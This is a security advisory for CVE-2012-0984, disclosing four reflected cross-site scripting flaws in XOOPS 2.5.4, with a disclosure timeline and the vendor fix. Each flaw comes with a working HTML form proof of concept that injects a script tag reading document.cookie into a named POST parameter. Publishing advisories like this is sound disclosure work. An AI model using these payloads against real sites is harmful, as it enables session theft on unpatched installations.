Multiple XSS vulnerabilities in XOOPS

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23062
Product: XOOPS
Vendor: xoops.org
Vulnerable Version(s): 2.5.4  and probably prior
Tested Version: 2.5.4 
Vendor Notification: 7 December 2011 
Vendor Patch: 22 February 2012 
Public Disclosure: 18 April 2012 
Vulnerability Type: XSS (Cross Site Scripting)
CVE Reference(s): CVE-2012-0984
Solution Status: Fixed by Vendor
Risk Level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple 
vulnerabilities in XOOPS, which can be exploited to perform Cross-Site 
Scripting (XSS) attacks.


1) Multiple Cross-Site Scripting (XSS) in XOOPS: CVE-2012-0984

1.1 Input passed via the "to_userid" POST parameter to /modules/pm/pmlite.php 
is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:


<form action='http://[host]/modules/pm/pmlite.php' method="post">
<input type="hidden" name="sendmod" value='1'>
<input type="hidden" name="to_userid" 
value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn"> 
</form>


1.2 Input passed via the "current_file" POST parameter to 
/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php
 is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:


<form 
action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php?target=1";
 method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="current_file" 
value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn"> 
</form>


1.3 Input passed via the "imgcat_id" POST parameter to 
/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php
 is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:


<form 
action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php?target=1";
 method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="imgcat_id" 
value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="op" value='editcat'>
<input type="submit" value="submit" id="btn"> 
</form>


1.4 Input passed via the "target" POST parameter to 
/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php
 is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:
 

<form 
action="http://[host]/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php";
 method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="target" 
value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn"> 
</form>


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Solution:

Upgrade to XOOPS 2.5.5 Final.

More information:
http://xoops.org/modules/news/article.php?storyid=6284

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References:

[1] High-Tech Bridge Advisory HTB23062 - 
https://www.htbridge.com/advisory/HTB23062 - Multiple XSS vulnerabilities in 
XOOPS. 
[2] XOOPS - http://www.xoops.org/ - XOOPS is a web application platform written 
in PHP for the MySQL database. Its object orientation makes it an ideal tool 
for developing small or large community websites, intra company and corporate 
portals, weblogs and much more.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.